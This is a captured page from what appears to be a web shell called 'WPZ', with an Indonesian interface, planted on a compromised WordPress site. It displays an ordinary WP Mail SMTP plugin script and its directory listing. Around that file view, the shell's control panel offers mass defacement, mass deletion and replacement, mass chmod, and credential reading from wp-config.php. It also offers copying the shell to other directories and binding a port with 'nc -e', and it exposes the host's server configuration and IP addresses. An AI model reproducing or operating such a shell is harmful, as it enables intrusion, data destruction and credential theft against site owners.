WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / wp-mail-smtp / assets / js / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/assets/js/smtp-ai-mcp.js (4.32 KB)
'use strict';

var WPMailSMTP = window.WPMailSMTP || {};
WPMailSMTP.Admin = WPMailSMTP.Admin || {};

/**
 * WP Mail SMTP Admin area AI MCP module.
 *
 * @since 4.9.0
 */
WPMailSMTP.Admin.AiMcp = WPMailSMTP.Admin.AiMcp || ( function( document, window, $ ) {

	/**
	 * Public functions and properties.
	 *
	 * @since 4.9.0
	 *
	 * @type {object}
	 */
	var app = {

		/**
		 * Start the engine. DOM is not ready yet, use only to init something.
		 *
		 * @since 4.9.0
		 */
		init: function() {

			$( app.ready );
		},

		/**
		 * DOM is fully loaded.
		 *
		 * @since 4.9.0
		 */
		ready: function() {

			app.events();
		},

		/**
		 * Bind events.
		 *
		 * @since 4.9.0
		 */
		events: function() {

			$( document )
				.on( 'click', '.wp-mail-smtp-ai-mcp-wpvibe-button[data-action="install"]', app.onInstallClick )
				.on( 'click', '.wp-mail-smtp-ai-mcp-wpvibe-button[data-action="activate"]', app.onActivateClick );
		},

		/**
		 * POST to the WP Mail SMTP admin-ajax dispatcher with the nonce attached.
		 *
		 * @since 4.9.0
		 *
		 * @param {object} extra Task-specific fields merged into the request.
		 *
		 * @returns {object} The jQuery jqXHR promise.
		 */
		post: function( extra ) {

			var data = $.extend( {
				action: 'wp_mail_smtp_ajax',
				nonce: window.wp_mail_smtp.nonce,
			}, extra || {} );

			return $.post( window.wp_mail_smtp.ajax_url, data );
		},

		/**
		 * Install button: install & activate WPVibe, then reload.
		 *
		 * @since 4.9.0
		 *
		 * @param {object} event The click event.
		 */
		onInstallClick: function( event ) {

			event.preventDefault();

			app.runInstallerTask( $( event.currentTarget ), 'about_plugin_install' );
		},

		/**
		 * Activate button: activate WPVibe, then reload.
		 *
		 * @since 4.9.0
		 *
		 * @param {object} event The click event.
		 */
		onActivateClick: function( event ) {

			event.preventDefault();

			app.runInstallerTask( $( event.currentTarget ), 'about_plugin_activate' );
		},

		/**
		 * Run an install/activate task, then reload on success or surface an
		 * inline error on failure. A reload lets PHP re-render the next state's
		 * CTA. WP returns logical failures with HTTP 200 + success:false, so a
		 * failed task lands in .done and must be checked explicitly.
		 *
		 * @since 4.9.0
		 *
		 * @param {object} $button Button element that was clicked.
		 * @param {string} task    AJAX task — install or activate.
		 */
		runInstallerTask: function( $button, task ) {

			app.clearError( $button );
			app.setLoading( $button );

			app.post( { task: task, plugin: $button.data( 'plugin' ) } )
				.done( function( response ) {

					if ( response && response.success ) {
						window.location.reload();
						return;
					}

					// Install partially succeeded (installed but activation failed):
					// the plugin state changed, so reload to render the activate CTA.
					if ( task === 'about_plugin_install' && response && response.data && response.data.basename ) {
						window.location.reload();
						return;
					}

					app.showError( $button );
				} )
				.fail( function() {

					app.showError( $button );
				} );
		},

		/**
		 * Show the loading spinner on the button.
		 *
		 * @since 4.9.0
		 *
		 * @param {object} $button Button element.
		 */
		setLoading: function( $button ) {

			$button
				.addClass( 'wp-mail-smtp-btn-loading' )
				.prop( 'disabled', true );
		},

		/**
		 * Restore the button to its initial state and show the inline error.
		 *
		 * @since 4.9.0
		 *
		 * @param {object} $button Button element.
		 */
		showError: function( $button ) {

			$button
				.removeClass( 'wp-mail-smtp-btn-loading' )
				.prop( 'disabled', false );

			var $row = $button.closest( '.wp-mail-smtp-ai-mcp-cta-row' );
			var $error = $row.siblings( '.wp-mail-smtp-ai-mcp-install-error' );

			if ( ! $error.length ) {
				$error = $( '<p class="wp-mail-smtp-ai-mcp-install-error" role="alert"></p>' );
				$row.after( $error );
			}

			$error.text( window.wp_mail_smtp_ai_mcp.error_text );
		},

		/**
		 * Remove a previously shown inline error before a new attempt.
		 *
		 * @since 4.9.0
		 *
		 * @param {object} $button Button element.
		 */
		clearError: function( $button ) {

			$button
				.closest( '.wp-mail-smtp-ai-mcp-cta-row' )
				.siblings( '.wp-mail-smtp-ai-mcp-install-error' )
				.remove();
		},
	};

	return app;
}( document, window, jQuery ) );

WPMailSMTP.Admin.AiMcp.init();
namawaktuukuranownerpermaksi
..
vendor/ 2026-07-21 14:14319.87 KB 76129f60960:kundendxwrx-r--r
connect.js 2026-07-21 14:143.62 KB 76129f60960:kunden-xw-x-----
edt
connect.min.js 2026-07-21 14:141.93 KB 76129f60960:kunden-xw-x-----
edt
smtp-about.js 2026-07-21 14:144.81 KB 76129f60960:kunden-xw-x-----
edt
smtp-about.min.js 2026-07-21 14:142.4 KB 76129f60960:kunden-xw-x-----
edt
smtp-activelayer-wc.js 2026-07-21 14:144.04 KB 76129f60960:kunden-xw-x-----
edt
smtp-activelayer-wc.min.js 2026-07-21 14:141.56 KB 76129f60960:kunden-xw-x-----
edt
smtp-admin-notices.js 2026-07-21 14:142.1 KB 76129f60960:kunden-xw-x-----
edt
smtp-admin-notices.min.js 2026-07-21 14:141 KB 76129f60960:kunden-xw-x-----
edt
smtp-admin.js 2026-07-21 14:1442.76 KB 76129f60960:kunden-xw-x-----
edt
smtp-admin.min.js 2026-07-21 14:1421.26 KB 76129f60960:kunden-xw-x-----
edt
smtp-ai-mcp.js 2026-07-21 14:144.32 KB 76129f60960:kunden-xw-x-----
edt
smtp-ai-mcp.min.js 2026-07-21 14:141.57 KB 76129f60960:kunden-xw-x-----
edt
smtp-code-snippets.js 2026-07-21 14:1419.52 KB 76129f60960:kunden-xw-x-----
edt
smtp-code-snippets.min.js 2026-07-21 14:147.46 KB 76129f60960:kunden-xw-x-----
edt
smtp-dashboard-widget.js 2026-07-21 14:146.58 KB 76129f60960:kunden-xw-x-----
edt
smtp-dashboard-widget.min.js 2026-07-21 14:143.38 KB 76129f60960:kunden-xw-x-----
edt
smtp-notifications.js 2026-07-21 14:143.68 KB 76129f60960:kunden-xw-x-----
edt
smtp-notifications.min.js 2026-07-21 14:141.88 KB 76129f60960:kunden-xw-x-----
edt
smtp-recommendations.js 2026-07-21 14:147.38 KB 76129f60960:kunden-xw-x-----
edt
smtp-recommendations.min.js 2026-07-21 14:143.38 KB 76129f60960:kunden-xw-x-----
edt
smtp-tools-debug-events.js 2026-07-21 14:148.18 KB 76129f60960:kunden-xw-x-----
edt
smtp-tools-debug-events.min.js 2026-07-21 14:144.06 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/assets/js
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK